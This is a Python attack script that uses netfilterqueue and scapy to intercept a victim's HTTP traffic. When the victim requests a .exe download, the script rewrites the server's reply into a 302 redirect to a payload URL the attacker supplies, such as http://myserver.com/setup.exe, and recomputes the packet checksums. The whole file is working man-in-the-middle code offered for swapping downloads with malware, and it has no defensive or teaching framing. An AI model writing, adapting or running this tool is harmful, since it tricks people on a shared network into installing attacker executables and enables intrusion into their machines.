run.py

import argparse
import os
import netfilterqueue
import scapy.all as scapy

# ------------------ ARGUMENTS ------------------
parser = argparse.ArgumentParser(description="Replace .exe downloads with your payload.")
parser.add_argument("-u", "--url", required=True, help="Full URL to payload (e.g., http://myserver.com/setup.exe)")
args = parser.parse_args()

payload_url = args.url
payload_filename = os.path.basename(payload_url)
ack_list = []

print(f"[+] Payload URL: {payload_url}")
print(f"[+] Payload filename: {payload_filename}")

# ------------------ PACKET HANDLER ------------------
def process_packet(packet):
    scapy_packet = scapy.IP(packet.get_payload())

    # Ignore non-TCP packets to prevent errors
    if not scapy_packet.haslayer(scapy.TCP):
        packet.accept()
        return

    if scapy_packet.haslayer(scapy.Raw):
        raw_load = scapy_packet[scapy.Raw].load

        # Outgoing request (client to server)
        if scapy_packet[scapy.TCP].dport == 80:
            if b".exe" in raw_load and payload_filename.encode() not in raw_load:
                print(f"[+] EXE request detected: {raw_load.split(b' ')[1]}")
                ack_list.append(scapy_packet[scapy.TCP].ack)

        # Incoming response (server to client)
        elif scapy_packet[scapy.TCP].sport == 80:
            if scapy_packet[scapy.TCP].seq in ack_list:
                ack_list.remove(scapy_packet[scapy.TCP].seq)

                if payload_filename.encode() in raw_load:
                    # Skip replacing our own payload to avoid infinite loop
                    packet.accept()
                    return

                print(f"[+] Replacing with redirect to {payload_url}")
                redirect = (
                    "HTTP/1.1 302 Found\r\n"
                    f"Location: {payload_url}\r\n"
                    "Content-Length: 0\r\n"
                    "Connection: close\r\n\r\n"
                )

                scapy_packet[scapy.Raw].load = redirect.encode()
                del scapy_packet[scapy.IP].len
                del scapy_packet[scapy.IP].chksum
                del scapy_packet[scapy.TCP].chksum

                packet.set_payload(bytes(scapy_packet))

    packet.accept()

# ------------------ START ------------------
queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()